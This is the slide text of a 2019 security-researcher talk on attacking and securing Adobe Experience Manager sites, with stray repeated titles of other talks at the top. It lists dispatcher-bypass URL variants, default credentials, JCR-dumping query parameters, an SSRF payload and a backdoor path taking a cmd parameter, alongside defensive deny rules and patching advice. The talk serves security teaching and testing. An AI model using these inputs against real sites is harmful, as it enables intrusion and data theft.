'Future Evolution of the Internet' delivered by Geoff Huston at Everything Op...
'Future Evolution of the Internet' delivered by Geoff Huston at Everything Op...'Future Evolution of the Internet' delivered by Geoff Huston at Everything Op...
'Future Evolution of the Internet' delivered by Geoff Huston at Everything Op...
 
DDoS In Oceania and the Pacific, presented by Dave Phelan at NZNOG 2024
DDoS In Oceania and the Pacific, presented by Dave Phelan at NZNOG 2024DDoS In Oceania and the Pacific, presented by Dave Phelan at NZNOG 2024
DDoS In Oceania and the Pacific, presented by Dave Phelan at NZNOG 2024
 

Securing AEM webapps by hacking them

  • 1. APACHE SLING & FRIENDS TECH MEETUP 2 - 4 SEPTEMBER 2019 Securing AEM webapps by hacking them Mikhail Egorov @0ang3el, Security researcher & Bug hunter.
  • 3. whoami 3  Security researcher & full-time bug hunter  https://bugcrowd.com/0ang3el  https://hackerone.com/0ang3el  Conference speaker  https://www.slideshare.net/0ang3el  https://speakerdeck.com/0ang3el
  • 4. AEM & Bug Bounties 4
  • 5. My research on AEM security 5 PHDays 2015 Hacktivity 2018 LevelUp 2019 https://www.slideshare.net/0ang3el
  • 6. Fellow hackers 6 @darkarnium, 2016 @fransrosen, 2018 @JonathanBoumanium, 2018 https://medium.com/@jonathanbouman/reflected-xss-at-philips-com-e48bf8f9cd3c https://speakerdeck.com/fransrosen/a-story-of-the-passive-aggressive-sysadmin-of-aem http://www.kernelpicnic.net/2016/07/24/Microsoft-signout.live.com-Remote-Code-Execution-Write-Up.html
  • 7. Common AEM deployment 7 Interacts with Publish server via AEM Dispatcher! 4503/tcp 4502/tcp 443/tcp ? Main blocks: • Author AEM instance • Publish AEM instance • AEM dispatcher (~WAF)
  • 8. Sources of vulnerabilities 8  AEM misconfiguration  AEM code (CVEs)  3rd-party plugins  Your code
  • 9. 9 Vulnerabilities due to misconfiguration
  • 10. AEM dispatcher bypass – CVE-2016-0957 10  Blocked by Dispatcher  /bin/querybuilder.json  However passed to publish instance  /bin/querybuilder.json/a.css  /bin/querybuilder.json/a.icoS  /bin/querybuilder.json?a.html  /bin/querybuilder.json;%0aa.css
  • 11. AEM dispatcher bypass – Sling “features” 11  When Sling Servlet is registered with sling.servlet.path other properties are ignored (e.g. sling.servlet.extensions)  Bypassing extension check  /bin/querybuilder.json.css  /bin/querybuilder.feed.ico
  • 12. AEM dispatcher bypass – Sling “features” 12  When Sling Servlet is registered with sling.servlet.resourceTypes  Bypassing path check  Create node with proper sling:resourceType under /content/usergenerated/etc/commerce/smartlists
  • 13. AEM dispatcher security tips 13  Don’t use rules like  /0041 { /type "allow" /url "*.css" } # This is bad  Better use  /0041 { /type "allow" /extension 'css' }
  • 14. AEM dispatcher security tips 14  Explicit deny rule for dangerous endpoints  /0090 { /type "deny" /path "/libs/*" }  /0091 { /type "deny" /path "/bin/querybuilder*" }  Place explicit deny rules in the end of policy
  • 15. Default credentials 15  admin/admin  author/author  Geometrixx users  grios:password  jdoe@geometrixx.info:jdoe  …
  • 17. Weak passwords / Credentials bruterorcing 17  Properties jcr:createdBy, cq:lastModifiedBy, jcr:lastModifiedBy contain usernames  Many ways to bruteforce  LoginStatusServlet  GetLoggedInUser servlet  CurrentUserServlet  …
  • 18. Weak permissions for JCR 18  Many ways to access JCR  DefaultGetServlet  QueryBuilderJsonServlet  QueryBuilderFeedServlet  GQLSearchServlet  CRXDE Lite  …
  • 19. Weak permissions for JCR 19  Anonymous user has jcr:write permission for /content/usergenerated/etc/commerce/s martlists
  • 21. Weak permissions for JCR 21 type=nt:file&nodename=*.zip
  • 22. Weak permissions for JCR 22 path=/home&p.hits=full&p.limit=-1
  • 23. 23 Vulnerabilities due to 3-rd party components
  • 24. Groovy Console 24  Exposes servlet at /bin/groovyconsole/post.servlet without authentication by default https://github.com/icfnext/aem-groovy-console
  • 26. ACS AEM Tools 26  Exposes Fiddle with ability to execute JSP scripts on /etc/acs-tools/aem- fiddle/_jcr_content.run.html  May not require authentication
  • 29. CVE-2018-12809 (SSRF*) 29  ReportingServicesProxyServlet (cq-content-insight bundle) @SlingServlet( generateComponent = true, metatype = true, resourceTypes = {"cq/contentinsight/proxy"}, extensions = {"json"}, selectors = {"reportingservices"}, methods = {"GET"}, label = "Reporting Services API proxy servlet", description = "Proxy servlet for Reporting Services API" ) public class ReportingServicesProxyServlet extends SlingSafeMethodsServlet { private static final String DEFAULT_API_OMNITURE_URL = ".*/api[0-9]*.omniture.com/.*";} … } *SSRF - Server Side Request Forgery
  • 30. CVE-2018-12809 (SSRF*) 30  Paths to invoke servlet  /libs/cq/contentinsight/content/proxy.reportingservices.json  /libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet  Vulnerable parameter url  url=http://anyurl%23/api1.omniture.com/a *SSRF - Server Side Request Forgery
  • 31.
  • 32.
  • 33.
  • 34. ExternalJobPostServlet deser / CVE? 34  Affects AEM 5.5 / AEM 5.6 @Service @Properties(value = { @Property(name = "sling.servlet.extensions", value = "json"), @Property(name = "sling.servlet.paths", value = "/libs/dam/cloud/proxy"), @Property(name = "sling.servlet.methods", value = { "POST", "GET", "HEAD" }) }) public class ExternalJobPostServlet extends SlingAllMethodsServlet { ... }
  • 35. ExternalJobPostServlet deser / CVE? 35  Parameter file accepts Java serialized stream and passes to OIS.readObject()  Hard to exploit in OSGI environment
  • 36.
  • 37.
  • 39. AEM RCE bundle 39  Allows to get RCE* when having access to Felix Console  https://github.com/0ang3el/aem-rce-bundle.git * RCE – Remote Code Execution
  • 40. AEM RCE bundle 40  Path - /bin/backdoor.html?cmd=ifconfig
  • 41. AEM Hacker 41  Scripts to check security of AEM application  aem_hacker.py, aem_discoverer.py, aem_enum.py, aem_ssrf2rce.py, aem_server.py, response.bin, aem-rce-sling-script.sh  https://github.com/0ang3el/aem-hacker.git
  • 44. Takeaways 44  Vulnerabilities can occur on different levels  Install security updates  Defense in depth  Check security of AEM application  Pentest / Bug bounty